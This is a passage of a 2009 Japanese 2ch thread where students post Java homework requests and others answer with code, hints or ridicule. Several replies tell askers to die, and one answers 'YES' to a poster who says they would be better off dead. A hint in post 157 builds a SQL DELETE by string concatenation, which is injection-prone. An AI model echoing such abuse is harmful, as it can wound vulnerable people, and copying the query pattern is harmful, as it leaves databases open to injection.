124デフォルトの名無しさん:2009/02/05(木) 00:20:30
>>123
読みましたがテンプレに書いてあることすら
分からないです、すいません
私なんて死んだ方がいいですね
125デフォルトの名無しさん:2009/02/05(木) 00:28:20
>>124
YES
126デフォルトの名無しさん:2009/02/05(木) 03:46:33
>>122
本当にこんな問題が出題されたとしたなら、講師は相当酷いな。
127デフォルトの名無しさん:2009/02/05(木) 07:12:23
講師は名古屋大学から来てます。まだ20代ですが
128デフォルトの名無しさん:2009/02/05(木) 10:53:28
129デフォルトの名無しさん:2009/02/05(木) 10:56:15
>>123
サーセン

【 課題 】
高さが学籍番号の下3桁、基底が学籍番号の下4桁の台形の面積を
求めるクラスを定義し、これらのインスタンス変数を初期化し、
図形の面積を計算するコンストラクタを用意し、
台形の面積を表示しなさいまた、台形の面積を(学籍番号)倍にする
インスタンスメソッドを作成せよ。
(例)学生番号12345678の場合、高さ:678、上底:56、下底:78
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】2/6
【 Ver  】java version "1.6.0_11"
【 用語 】丸投げでお願いします。
130デフォルトの名無しさん:2009/02/05(木) 12:08:51
131デフォルトの名無しさん:2009/02/05(木) 16:06:47
>>128
そんなにすごい人じゃないです
132デフォルトの名無しさん:2009/02/05(木) 16:07:05
>>129
そういう問題じゃない。
>>1読め。
そしてしね。
133デフォルトの名無しさん:2009/02/05(木) 16:09:29
【 課題 】
変更するプログラム
http://read.pudn.com/downloads78/sourcecode/java/296785/TCP_IP_JAVA_SRC/ch5/UmiServer.java__.htm

delete ~~~ と ク ラ イ ア ン ト か ら 打 つ と ~~~ と 指 定 さ れ た ユ ー ザ の 情 報 を サ ー バ か ら
消 す よ う に 変 更 せ よ 。 ま た  save ~~~ で も 変 更 せ よ 。( 変 更 箇 所 だ け で ● )
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】2/6
【 Ver  】java version "1.6.0_11"
134デフォルトの名無しさん:2009/02/05(木) 19:20:01
>>133
> 消 す よ う に 変 更 せ よ 。 ま た  save ~~~ で も 変 更 せ よ 。( 変 更 箇 所 だ け で ● )
●ってなに?
135デフォルトの名無しさん:2009/02/05(木) 21:37:09
>>133
>delete~~~とクライアントから打つと~~~と指定されたユーザの情報をサーバから
>消すように変更せよ。
ユーザ情報の削除と言うのが何を指しているのか分からない。
userTableから削除するという意味だろうか?その場合、ユーザはログアウトしなくて良いのか?

>また save~~~でも変更せよ。(変更箇所だけで●)
これに至っては、何をさせたいのかさえ分からない。
136デフォルトの名無しさん:2009/02/05(木) 22:53:04
>>134
okって意味です

>>165
userTableから消去という意味だと思います。
save ~~~と ク ラ イ ア ン ト か ら 入 力 す る と ~~~で 指 定 さ れ た フ ァ イ ル
にstat コ マ ン ド の 出 力 と 同 じ 内 容 を 出 力 す るように変更せよ。(変更箇所だけでokです)


課題内容が分かりにくくてすみませんでした。
137デフォルトの名無しさん:2009/02/06(金) 00:27:31
>>136
> okって意味です
ありえねー

> userTableから消去という意味だと思います。
思いますじゃねーよ。確認しろよ。

> save ~~~と ク ラ イ ア ン ト か ら 入 力 す る と ~~~で 指 定 さ れ た フ ァ イ ル
> にstat コ マ ン ド の 出 力 と 同 じ 内 容 を 出 力 す るように変更せよ。
当然、サーバー側だよな?

>(変更箇所だけでokです)
変更箇所だけでOKはオマエの提出の都合じゃん・・・

つか、クライアント無いし・・・
138デフォルトの名無しさん:2009/02/06(金) 16:33:41
自己解決しましたので結構です
139デフォルトの名無しさん:2009/02/06(金) 16:58:34
>>138
それは良かった。
140デフォルトの名無しさん:2009/02/06(金) 18:28:19
>>138
ようやっとクアイアントのソースを見つけたのに、残念。
http://www.ohmsha.co.jp/data/link/4-274-06486-7/index.htm
141133とかぶりますが:2009/02/07(土) 13:40:54
【 課題 】
変更するプログラム
http://www.ohmsha.co.jp/data/link/4-274-06486-7/index.htm
delete ~~~ と ク ラ イ ア ン ト か ら 打 つ と ~~~ と 指 定 さ れ た ユ ー ザ の 情 報 を サ ー バ か ら
消 す よ う に 変 更 せ よ 。 save ~~~と ク ラ イ ア ン ト か ら 入 力 す る と ~~~で 指 定 さ れ た フ ァ イ ル
にstat コ マ ン ド の 出 力 と 同 じ 内 容 を 出 力 す るように変更せよ。
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】明日までなのでできるだけ早めにお願いします
【 Ver  】java version "1.6.0_11"
142デフォルトの名無しさん:2009/02/07(土) 13:42:49
>>141
>>133が自己解決したらしいから、分けてもらえ
143ヒント:2009/02/07(土) 15:36:04
else if(command.compareTo("delete")==0){
自分で考えてね
}


144デフォルトの名無しさん:2009/02/07(土) 21:23:40
【 課題 】
abstractクラスStudentには1年生(First)から4年生(Forth)までの4つのサブクラスがある
それぞれの学年に二人ずつ学生を所属させ、1次元配列に格納せよ。ループを使い、それぞれの学生の学年と学籍番号を表示させよ。
学籍番号の例)1年生(平成20年入学):20123456、2年生(平成19年入学):19123456
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】2/12
【 Ver  】java version "1.6.0_11"
【 用語 】丸投げでお願いします。
145デフォルトの名無しさん:2009/02/07(土) 22:33:53
>144
// P67_144.java
public class P67_144 {
    public static void main(String[] args) {
        Student first1 = new First("20123456");
        Student first2 = new First("20123457");
        Student second1 = new Second("19123458");
        Student second2 = new Second("19123459");
        Student third1 = new Third("18123450");
        Student third2 = new Third("18123451");
        Student fourth1 = new Fourth("17123452");
        Student fourth2 = new Fourth("17123453");
        Student[] students = new Student[] { first1, first2, second1, second2, third1, third2, fourth1, fourth2, };
        for(Student student : students)
            System.out.println(student.getGrade() + ":" + student.getNumber());
    }
}

// Student.java
public abstract class Student {
    private String number;
    public Student(String number) { this.number = number; }
    public abstract String getGrade();
    public String getNumber() { return number; }
}
146デフォルトの名無しさん:2009/02/07(土) 22:35:26
>144 つづき
// First.java
public class First extends Student {
    public First(String number) { super(number); }
    @Override public String getGrade() { return "1年生"; }
}

// Second.java
public class Second extends Student {
    public Second(String number) { super(number); }
    @Override public String getGrade() { return "2年生"; }
}

// Third.java
public class Third extends Student {
    public Third(String number) { super(number); }
    @Override public String getGrade() { return "3年生"; }
}

// Fourth.java
public class Fourth extends Student {
    public Fourth(String number) { super(number); }
    @Override public String getGrade() { return "4年生"; }
}
147デフォルトの名無しさん:2009/02/08(日) 00:04:19
【 課題 】弾道のアニメーションプログラムを作成し、必要な行には説明を添える。
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】4. 制限なし
【 期限 】2月9日まで
【 Ver  】1.6.0_11
【 補足 】
http://www.dotup.org/uploda/www.dotup.org23570.java
これは単純に弾が放射状に飛ぶプログラムです。これを改造して、発射ボタンと、発射角調節スクロールバーを追加して下さい。
スクロールバーで角度調節して、ボタンを押したら発射という感じです。物理的な計算は不要です。
目標が一定の範囲にランダムで現れ、命中したら”命中!”と出るようにして下さい。
イメージとしてこんな感じです。http://www.dotup.org/uploda/www.dotup.org23559.jpg
なお、MyJPanelの中だけをいじるようにしてください。それからimportは追加しないでください。
注文ばっかですみません…お願いします。
148デフォルトの名無しさん:2009/02/08(日) 01:53:34
149デフォルトの名無しさん:2009/02/08(日) 04:07:36
>>148
ありがとうございました。
150デフォルトの名無しさん:2009/02/08(日) 07:30:08
>>145-146さん
早い回答助かりました。
ありがとうございます
151デフォルトの名無しさん:2009/02/09(月) 17:49:57
【 課題 】
http://imepita.jp/20090209/616180
【 形態 】Applet
【 GUI 】AWT
【 期限 】2/12
【 Ver 】1.6.0_11
【 補足 】
色はblack、blue、cyan、darkGray、gray、green、lightGray
magenta、orange、pink、red、white、yellowです。
座標軸は黒で、あとの配色はお任せします。
y=x^2は、y=ax^2のaを適当に変えて13個。
座標軸の下と合わせて合計26個になります。
このとき、aの絶対値が同じ曲線は同じ色になるようにお願いします
152デフォルトの名無しさん:2009/02/09(月) 21:34:15
153デフォルトの名無しさん:2009/02/09(月) 22:03:20
ありがとうございました!
154デフォルトの名無しさん:2009/02/11(水) 20:56:53
【 課題 】
オセロのプログラムを作成せよ
【 形態 】
【 GUI 】
【 期限 】2/15
【 Ver 】1.6.0_11
【 補足 】
丸投げでお願いします
155デフォルトの名無しさん:2009/02/11(水) 21:45:24
156デフォルトの名無しさん:2009/02/12(木) 02:28:41
【 課題 】
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/590.java
はフォームデータとして、idとnameを取得し、データベースの表に、
idとnameを持つ要素を追加するwebプログラムである。
これを改造して、idを指定し、表からデータを削除するプログラムを作成せよ。

【 形態 】3. Servlet ?
      
【 GUI  】
【 期限 】2009年2月12日12:00
【 Ver  】1.6.0_11
【 用語 】
【 補足 】すいませんがよろしくお願いします。
157デフォルトの名無しさん:2009/02/12(木) 02:57:30
>>156
String qry〜のところをDELETE文に変えるだけ
> String qry = "DELETE FROM car_table WHERE id = '" + id1 + "'";

突っ込みどころ多々あるけど、とりあえず。
158デフォルトの名無しさん:2009/02/12(木) 03:25:37
【 課題 】ロトの課題:1-39から7つの数字を選び昇順に出力する。
【 形態 】5.メソッド
【 期限 】2/13
【 補足 】一旦普通プログラミングをして、それをメソッドを使ったものに書き直すのですが、配列を使ったメソッドになると解らなくなってしまいます。これをどう分けたら良いのでしょうか?
public class lottoM{
public static void main(String[] args)
{
int [] taulu = new int[40];
int x;
for (int i = 1; i <= 7; i++)
{
x = 1 + (int)(Math.random() * 39);
if (taulu[x] == 0)
taulu[x] = 1;
else
i --;
}
for (int i = 1; i <= 39; i++)
{
if (taulu[i] == 1)
System.out.print(i + " ");
}
}
}

159デフォルトの名無しさん:2009/02/12(木) 04:07:33
【 課題 】ロトの課題:1-39から7つの数字を選び昇順に出力する。
【 形態 】5.メソッド
【 期限 】2/13
【 補足 】一旦普通プログラミングをして、それをメソッドを使ったものに書き直すのですが、配列を使ったメソッドになると解らなくなってしまいます。これをどう分けたら良いのでしょうか?
public class lottoM{
public static void main(String[] args)
{
int [] taulu = new int[40];
int x;
for (int i = 1; i <= 7; i++)
{
x = 1 + (int)(Math.random() * 39);
if (taulu[x] == 0)
taulu[x] = 1;
else
i --;
}
for (int i = 1; i <= 39; i++)
{
if (taulu[i] == 1)
System.out.print(i + " ");
}
}
}

160デフォルトの名無しさん:2009/02/12(木) 04:23:32
【 課題 】与えられたプログラムを変更して次の問いを答えろ.
1.「delete ???」とクライアントから入力すると「???」で指定されたユーザ情報をサーバから削除するプログラム.
2.「save ???」とクライアントから入力すると「???」で指定されたファイルにstatコマンドの出力と同じ内容を出力するプログラム
3.燃料タンクの座標を中心として領域内に船が入ったとき,燃料タンクの取得するプログラム(20×20の正方形,左上からabcdとし,adの中点をA,bcの中点をBとする.Aとb,Bとdをそれぞれ結び,中央にできる平行四辺形を領域とする.)
それぞれ変更点のプログラムを教えてください.
【 期限 】2009年2月12日17:00
【 補足 】与えられたプログラム http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/591.txt
よろしくお願いします.
161デフォルトの名無しさん:2009/02/12(木) 05:02:20
>>161
【 補足 】クライアントのプログラムを忘れていました・・・すみません・・・.http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/592.java
よろしくお願いします.
162デフォルトの名無しさん:2009/02/12(木) 08:40:45
>>159
public static int[] loto() {
int[] ar = new int[7];
for (int i = 0; i < ar.length; i++) {
ar[i] = new Random().nextInt(38) + 1;
}
Arrays.sort(ar);
return ar;

}
配列を返せばいんじゃね
表示はメインで適当に
163デフォルトの名無しさん:2009/02/12(木) 10:46:10
同じ数字が
164デフォルトの名無しさん:2009/02/12(木) 11:43:27
>>160
>>133が自己解決したらしいから、分けてもらえ
165デフォルトの名無しさん:2009/02/12(木) 13:23:57
>>164 そこをなんとか・・・お願いします・・・.
166デフォルトの名無しさん:2009/02/12(木) 14:53:31
>>160
誰が教えるかよ
自分で考えようとしないあほには教えない
167デフォルトの名無しさん:2009/02/12(木) 14:57:27
>>160
あと2時間ww
ざまぁwwwwwスレ見てる暇あったら自分で考えろよwwww
168デフォルトの名無しさん:2009/02/12(木) 15:19:31
>>160
if(あなたが考えた){
私は教える;
}
else if(あなたが考えていない){
私は教えない;
}

君の性格があだとなりましたね。
テストはすでに終わっているのに君は何をしていた?
少しでも考えたコードがあるなら載せてみろ。
すぐに人に頼ろうとするな!
169デフォルトの名無しさん:2009/02/12(木) 17:14:12
[1] 授業単元:Java
[2] 問題文(含コード&リンク):
1から9までの数字を縦横方向に同じものが並ばないように下記の例のように並べる
並べ方が全部で何通りあるかとその並びをすべて列挙する
[3] 環境:特になし
[4] 期限: 明日まで
[5] その他の制限:

534681297
685293714
948367125
153472869
426538971
261759483
817945632
379126548
792814356
170デフォルトの名無しさん:2009/02/12(木) 17:36:51
>>169
C/C++の宿題片付けます 122代目
http://pc11.2ch.net/test/read.cgi/tech/1232029287/542
171デフォルトの名無しさん:2009/02/13(金) 00:03:50
172デフォルトの名無しさん:2009/02/13(金) 00:41:47
【 課題 】 GUIで自由に電卓(計算)の機能をもったプログラムを作成してください。デザインや機能は自由ですが、最低四則演算はできるようにしてください。
【 形態 】2. Applet
【 GUI  】4. 制限なし
【 期限 】2/13 23:59 まで
【 Ver  】1.6.0_11

よろしくお願いします。
173デフォルトの名無しさん:2009/02/13(金) 07:21:00
>>172
ここで新規に作ってもらわなくてもウェブ上にたくさんソースはあるから、
「電卓 java ソース applet」でぐぐって、
片っ端からソースをコンパイル、実行して動作が仕様を満たしそうなら、
それをこぴぺすればええやん。
174デフォルトの名無しさん:2009/02/13(金) 18:32:53
>>173
わかんないんだろ?w
175デフォルトの名無しさん:2009/02/13(金) 18:38:27
>>174
電卓課題なんて何周目だとおもってんだよ。
このスレ遡るだけでも何本も出てくるっての。
176デフォルトの名無しさん:2009/02/13(金) 18:44:44
>>175
わかんないなら涙目にならないうちにはっきりと
わかりませんって言ったほうがいいよw
177デフォルトの名無しさん:2009/02/13(金) 19:02:48
>>176
あおってもなんも出てこないよ。
大体、誰でも一度くらいは電卓を実装して、退屈さと面倒くささで辟易している上に、
ネット上に幾らでもソースが落ちてるからな・・・
178デフォルトの名無しさん:2009/02/13(金) 19:33:16
>>177
どうやら相当に頭にきてるみたいだなw
179デフォルトの名無しさん:2009/02/13(金) 20:17:13
>>177
電卓なんか実装したことないだろw
180デフォルトの名無しさん:2009/02/13(金) 21:01:34
>>173
すみません。探してみたらたくさんありました。
ありがとうございました。
181デフォルトの名無しさん:2009/02/14(土) 04:41:12
質問なのですがここでは英語の問題文でも答えて頂けますか?

182デフォルトの名無しさん:2009/02/14(土) 04:57:26
>>181
訳せ
183デフォルトの名無しさん:2009/02/14(土) 05:18:18
【 課題 】壷のなかにあるコインを取り出したときのdollarsとcentsの値を求めなさい。
      コインの種類はquarters、dimes、nickels、penniesである。
【 形態 】その他:コマンドプロンプト
【 期限 】2/16
【 Ver  】特になし
【 補足 】要約しますと25セント、10セント、5セント、1セントの値をそれぞれ入力してその値の合計値のドルとセントを求めなさいってことです。
      英語の文を訳したのでわかり辛いかもしれませんがお願いいたします。
      ちなみにquartersは25セント、dimesは10セント、nickelsは5セント、penniesは1セントです。
184デフォルトの名無しさん:2009/02/14(土) 05:27:42
>>183の原文も一応の載せておきます。
【 課題 】Write an application that determines the value of the coins in a jar and prints
the total in dollars and cents. Read integer values that represent the number of
quarters, dimes, nickels, and pennies.

The output to the screen should be as follows:

The total value in dollars and cents is: (your answer) DOLLARS
(your answer) CENTS

This program was written by (your full name)

どなたかよろしくお願い致します。
185デフォルトの名無しさん:2009/02/14(土) 08:06:33
足し算もできねーのかよw
186デフォルトの名無しさん:2009/02/14(土) 08:11:05
>>183-184
ttp://web.presby.edu/~wasmith/courses/241/practice/CoinsCalc.java
ttp://web.presby.edu/~wasmith/courses/241/notes/PromptAndBranch.htm
結果の表示フォーマットが課題の原文と違うがそれくらいは自力で修正できるだろ。
187デフォルトの名無しさん:2009/02/14(土) 16:41:01
System.out.println("\nThe total value in dollars and cents is: " +
dollars + " DOLLARS\n" + cents + " CENTS");
System.out.println("\nThis program was written by http://web.presby.edu/~wasmith/");
188デフォルトの名無しさん:2009/02/14(土) 23:53:51
【 課題 】数a1、・・・anとbを入力し、a1,・・anの部分集合(組み合わせ)でその合計がb以下となるものの中で極大なもの、つまりどのaiを加えても合計がbより真に大きくなるものを列挙する、1つあたり多項式時間のアルゴリズムをプログラミングせよ。
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】2/15 18:00
【 Ver  】java version "1.6.0_07"
【 用語 】多項式時間:
ttp://ja.wikipedia.org/wiki/%E5%A4%9A%E9%A0%85%E5%BC%8F%E6%99%82%E9%96%93
【 補足 】丸投げです。どなたかお願いします・・
189デフォルトの名無しさん:2009/02/15(日) 05:25:44
> 1つあたり多項式時間のアルゴリズム
ってことは、計算時間が指数で増加するアルゴリズムは要らないってことだね。
190デフォルトの名無しさん:2009/02/15(日) 13:05:09
>>188
i=1,...,n
b ≧ Σai*xi
xi ∈ {0,1}
の制約の元で
Σai*xi → max
にするxiを求める整数計画問題だからNP困難で多項式時間アルゴリズムは…
191デフォルトの名無しさん:2009/02/15(日) 17:31:43
>>190
そうじゃなくて、基本的なアイディアとしては、
適当な順列を考えて、先頭から足して行って、初めてbを越えるような部分を求めるってもの。
但し、a_i_1+...+a_i_k < b かつ a_i_1+...+a_i_(k+1)>b となっても、 a_i_(k+2) 以降で
a_i_1+...a_i_k+a_i_j<b となるような j(k<j) となるようなものがあるから補正が必要だけど。
192デフォルトの名無しさん:2009/02/15(日) 19:47:59
>>191
組み合わせを探すために生成する組み合わせの数が・・・
193デフォルトの名無しさん:2009/02/15(日) 23:16:01
>>192
そうそう。
順列は指数個あって、それぞれの順列に対してだけ多項式時間でできればいい。
で、残りの数の中で最小のものを探せばいいだけなので、毎回ソートとかしても n^3 だし。
194デフォルトの名無しさん:2009/02/16(月) 01:17:47
>>193
順列じゃないだろ。
195デフォルトの名無しさん:2009/02/16(月) 02:31:37
>>194
じゃあ、部分集合を数え上げて、その部分集合毎に題意を満たすかどうかを多項式時間でチェックするでいい?
196デフォルトの名無しさん:2009/02/16(月) 04:51:19
【 課題 】DBからhttpから始まるURLを取り出す。そのURLにはIPアドレスが含まれているので、そのIPアドレスにpingをとばして
       その結果を表示する。
【 形態 】3. Servlet
      
【 GUI  】制限なし
      
【 期限 】2月18日
【 Ver  】1.50
【 補足 】丸投げでお願いします
必要と思われるファイルはあげました。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/596.txt
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/597.java
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/598.java
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/599.java
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/600.java
197デフォルトの名無しさん:2009/02/16(月) 12:35:54
>>196
アホなんだな、ってことだけ分かった。
198デフォルトの名無しさん:2009/02/18(水) 00:25:11
【 課題 】課題 
      以下の条件に従ってArrayListとHashMapを利用して、個人の趣味を管理するプログラムを作成します。
      条件
      個人の趣味をArrayListに格納し、HashMapには名前をキーに要素として趣味のArrayListのインスタンスを格納します。
      ユーザの表示順番は登録した時と同じ順番である必要はありません。
          
【 形態 】Javaアプリケーション
【 GUI  】制限なし
【 期限 】2月19日
      
【 Ver  】1.6.0_11
【 補足 】急で申し訳ないのですがよろしくお願いします。
199デフォルトの名無しさん:2009/02/18(水) 01:09:10
【 課題 】Euclidの互除法によって最大公約数を求めるプログラムを、
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/601.java
再帰呼び出しで求めて表示するプログラムに書き換えよ。
【 形態 】Applet
【 GUI  】AWT
【 期限 】2月19日17時
【 Ver  】1.6.0_11
【 補足 】丸投げです。急で申し訳ないのですがよろしくお願いいたします。
200デフォルトの名無しさん:2009/02/18(水) 14:18:58
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/603.txt
【 形態 】1. Javaアプリケーション(main()で開始)
【 GUI  】制限なし
【 期限 】2月20日
【 Ver  】1.6.0_11
【 補足 】問題文のリンクに詳細があります。丸投げになのですが、よろしく
お願いします。
201デフォルトの名無しさん:2009/02/18(水) 18:04:35
202デフォルトの名無しさん:2009/02/19(木) 05:07:32
>>186
>>187
事情により書き込みが遅くなってしまい申し訳ありません。
無事完成させることが出来ました。
ありがとうございました。
203デフォルトの名無しさん:2009/02/19(木) 16:44:48
204デフォルトの名無しさん:2009/02/19(木) 22:30:03
>>203

助かりました。ありがとうございました!
205デフォルトの名無しさん:2009/02/22(日) 10:18:50
自己解決しました。
206デフォルトの名無しさん:2009/02/22(日) 19:06:58
【課題】
1. データを入力する(データ入力の終わりは-1)と並べ替え(基本選択法)を行い表示するプログラムを作れ。
2. データを入力すると並べ替え(バブルソート)を行い表示するプログラムを用いて、並べ替え後、データを入力させ、その数値と同じ値が配列の何番目に保存されているか(小さい順の何番目か)を表示するプログラムを作成せよ。ただし、検索方法は2分探索法を用いること。
【形態】javaアプリケーション
【GUI】制限なし
【期限】2月24日
【Ver】1.6.0_11
【補足】さっぱり分かりません。
丸投げです。
どうかよろしくお願いします。
207デフォルトの名無しさん:2009/02/23(月) 02:55:38
208デフォルトの名無しさん:2009/02/23(月) 03:22:27
>>207さん
こんなに早く本当にありがとうございました。
助かります!
209デフォルトの名無しさん:2009/02/24(火) 16:29:25
非常に長いので、分割させていただきます。
本当にすいません><

【 課題 】
課題1.
以下のような賭をすることを考えます.
  1. 開始時の所持金をA円とします.
  2. 目標とする金額をB円とします.
  3. さいころを投げて偶数の場合は1円を獲得,奇数の場合は1円を失います.
  4. 所持金が目標額のB円に到達すれば賭は終了,また所持金が0になった場合は破産で終了とします.
数学的な考察をすると,この賭の期待値はA円となります.つまり,何回もこの賭を続けていると,成功したり破産したりしますが,平均すると元の所持金しか得られないということです.
また,勝ち負けまでに投げるさいころの回数の平均は,(B-A)×Aとなります.
たとえば,開始時の所持金をA=8円,目標額をB=10円とすると,勝つ確率は8割,1ゲームあたり平均すると(10-8)×8=16回,さいころを投げることになります.
このことは,賭をしても儲からない,ことを意味していますね.
このことを確かめるプログラムを作成しなさい.

課題2.
モンテカルロ法で計算した円周率の結果について,Math.PIに対する誤差を表示する処理を追加して,以下のような結果を出力するプログラムを書きなさい.
途中経過(100回の乱数)は約 3.120000 で,Math.PIに対する誤差は-0.6873%
途中経過(200回の乱数)は約 3.060000 で,Math.PIに対する誤差は-2.5972%
途中経過(300回の乱数)は約 3.146667 で,Math.PIに対する誤差は0.1615%
途中経過(400回の乱数)は約 3.160000 で,Math.PIに対する誤差は0.5859%
途中経過(500回の乱数)は約 3.136000 で,Math.PIに対する誤差は-0.1780%
途中経過(600回の乱数)は約 3.120000 で,Math.PIに対する誤差は-0.6873%
途中経過(700回の乱数)は約 3.108571 で,Math.PIに対する誤差は-1.0511%
途中経過(800回の乱数)は約 3.100000 で,Math.PIに対する誤差は-1.3239%
途中経過(900回の乱数)は約 3.102222 で,Math.PIに対する誤差は-1.2532%
途中経過(1000回の乱数)は約 3.104000 で,Math.PIに対する誤差は-1.1966%
モンテカルロ法で計算した円周率は約 3.104000 です.
210デフォルトの名無しさん:2009/02/24(火) 16:30:59
続きです。お願いします。

課題3.
1〜6までの乱数を1000回発生させて,それぞれの乱数の出現頻度を求め,簡易グラフを出力するプログラムを書きなさい.それぞれの乱数をカウントするためにint型の配列が必要です.
    $---+----$----+----$----+----$----+----$----+----$
1(192): **************************************************
    **************************************************
    **************************************************
    ******************************************
2(150): **************************************************
    **************************************************
    **************************************************
3(172): **************************************************
    **************************************************
    **************************************************
    **********************
4(149): **************************************************
    **************************************************
    *************************************************
5(175): **************************************************
    **************************************************
    **************************************************
    *************************
6(162): **************************************************
    **************************************************
    **************************************************
    ************
211209:2009/02/24(火) 16:32:12
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】提出期限:2009年2月27日
【 Ver  】すいません、どうやって調べるのかわかりません><
【 条件 】以下のメソッドを作成すること.
void startGame() ゲームを開始し,指定回数繰り返す
void doOneGame() 破産,目標額に達するまでの1ゲームを実行する
int getNumber() キーボードから数値を読み込むメソッド
int rollDice() さいころをふるメソッド
void main() main

プログラムの先頭部分は以下のようにすること.先頭のコメント部分は指示に応じて書き換えること.
    /*
    プログラムの簡単な説明を記述する
    作成者指名および作成日付を書く
    */
import java.io.*;
public class MoneyGame {
// 変数を宣言,クラス全体で有効,オブジェクトの状態を表す
int targetMoney; // 目標額
int currentMoney; // 現在の所持金
int startMoney; // 最初の所持金
int totalGame; // ゲームの回数
int totalDice; // 全体で何回さいころをなげたか
int totalWin; // 勝ったゲーム数
BufferedReader br; // キーボードからの入力用
void startGame(){

【 補足 】初心者で全然わかりません。よろしくお願いします。
      ちなみに作成環境はMacOSXで、miとターミナルを使用しています。
      長文失礼しました。
212デフォルトの名無しさん:2009/02/24(火) 16:50:29
>>209
>>1くらい読め
読んだら死ね
213デフォルトの名無しさん:2009/02/26(木) 11:52:48
【 課題 】http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/609.zip
【 形態 】1. Javaアプリケーション(main()で開始)
【 期限 】本日中
【 Ver  】1.6.0_05
【 補足 】丸投げです。よろしくお願いします。
214デフォルトの名無しさん:2009/02/26(木) 16:15:40
>>213
問題文からクラスの仕様までグダグダってどう言うことよ?
215デフォルトの名無しさん:2009/02/26(木) 18:20:56
216デフォルトの名無しさん:2009/02/26(木) 18:46:36
>>214
申し訳ありません…

>>215
ありがとうございます。

エラーが発生したのですが、

KnumSum.java:16:';'がありません
for(String s:tokens){

KnumSum.java:22: 式の開始が不正です。
for(int i=0;i<ka.length();i++){

KnumSum.java:28: 式の開始が不正です。
}else{

エラー 3 個
217デフォルトの名無しさん:2009/02/26(木) 18:54:10
>>216
コンパイラのバージョンを確認しろよ
218デフォルトの名無しさん:2009/02/26(木) 19:25:54
216ではないが、ちょっと動かしてみた、+演算子の全角がエラーなる。
コンパイラのバージョンは、javac 1.6.0_11
219デフォルトの名無しさん:2009/02/26(木) 20:18:01
>>218
ああ、入力は全角なんだ・・・
220デフォルトの名無しさん:2009/02/27(金) 00:09:40
>>211
javaのバージョンを書かないと適切な答えをもらえないかもしれませんよ。
やり方は>>1に書いてあります。
221デフォルトの名無しさん:2009/03/03(火) 16:27:07
【 課題 】課題 
      以下の条件に従ってArrayListとHashMapを利用して、個人の趣味を管理するプログラムを作成します。
      条件
      個人の趣味をArrayListに格納し、HashMapには名前をキーに要素として趣味のArrayListのインスタンスを格納します。
      ユーザの表示順番は登録した時と同じ順番である必要はありません。
          
【 形態 】Javaアプリケーション
【 GUI  】制限なし
【 期限 】3月5日
      
【 Ver  】1.6.0_11
【 補足 】急で申し訳ないのですがよろしくお願いします。
222デフォルトの名無しさん:2009/03/04(水) 01:04:44
>>221
コイツには何が足りないんだろうな。
ヤル気が無いのは当たり前だが、
課題に対する理解と言うより、コミュ力みたいなものが欠けているように思うな。
223デフォルトの名無しさん:2009/03/04(水) 07:55:21
>>222
君にも何かが足りない気がする…
224デフォルトの名無しさん:2009/03/04(水) 18:52:47
何?
225デフォルトの名無しさん:2009/03/04(水) 19:22:25
スルー
226デフォルトの名無しさん:2009/03/04(水) 19:42:11
めんどくさい時代だね
227デフォルトの名無しさん:2009/03/05(木) 11:27:47
228デフォルトの名無しさん:2009/03/05(木) 11:33:54
【 課題 】javascriptを使用したhtmlから渡された値を受けとるクラスAとクラスAがjavascriptから受け取った値をXMLファイルに書き込むクラスBとXMLファイルの情報をhtmlの項目に設定するクラスCを作成しなさい。それぞれのクラスは別ファイルとする。

【 形態 】1. Javaアプリケーション
【 期限 】3/8
【 Ver 】1.6.0_10

お願いします
229デフォルトの名無しさん:2009/03/05(木) 13:16:15
>>228
もちっと情報は無いかな。特に、

>javascriptを使用したhtmlから渡された値を受けとるクラスA

この部分に関する情報が。

JavaScriptからJava側に値を渡すのにLiveConnectを使うので
あればプログラムの形態はAppletになるし、そうなると、

>クラスAがjavascriptから受け取った値をXMLファイルに書き込むクラスB

この部分の実装が難しい。

あとは・・・JavaScript側からXMLHttpRequestでサーバ上の
Javaコードに値を渡せって事かな?でもそうなるとプログラムの
形態はServletになるし、

>XMLファイルの情報をhtmlの項目に設定するクラスCを作成しなさい

ここの解釈に悩む。
230デフォルトの名無しさん:2009/03/05(木) 14:51:39
>>229
アプレットでもServletでもなくjavaアプリケーションです

クラスBでxmlファイルに書き込み、クラスCでxmlファイルからデータを取り出してそれをHTMLに表示できるようにしたいんです。
231デフォルトの名無しさん:2009/03/05(木) 15:20:02
うん。だからクラスAはどう実装したのかと。
それによってB以降も実装が変わってくるかと思う。あと、

>XMLファイルの情報をhtmlの項目に設定するクラスC

これってクラスAに値を渡したJavaScript入りのHTMLの項目に
XMLファイルの情報を設定するの?
それとも上記のHTMLとは別に新たなHTMLを作成してそこに
XMLファイルの情報を設定するの?

何れにしても問題の用件があいまいすぎるので、もっと情報を。
232デフォルトの名無しさん:2009/03/05(木) 15:58:04
>これってクラスAに値を渡したJavaScript入りのHTMLの項目に
XMLファイルの情報を設定するの?

はい、その通りです
233デフォルトの名無しさん:2009/03/05(木) 16:04:26
う〜ん、だからHTML内のJavaScriptからクラスAにどうやって
値を渡したのか、HTMLとクラスAのコミュニケーション方法を
どうやって実装したか書いてくれないかな。
クラスCがXMLの情報を元のHTMLに書き戻すにしてもそこが
分からないとどうにもならないよ。
234デフォルトの名無しさん:2009/03/05(木) 16:44:55
javascriptからクラスAのメソッドを動かして値を渡します
235デフォルトの名無しさん:2009/03/05(木) 16:54:53
その「クラスA」というのはどうやってHTMLに取り込んだの?
<APPLET>タグとか<EMBED>タグとか<OBJECT>タグとかをHTMLの
中で使っていない?

HTML中のJavaとのやりとりに関連する箇所と、クラスAの抜粋を
書いてくれると助かる。
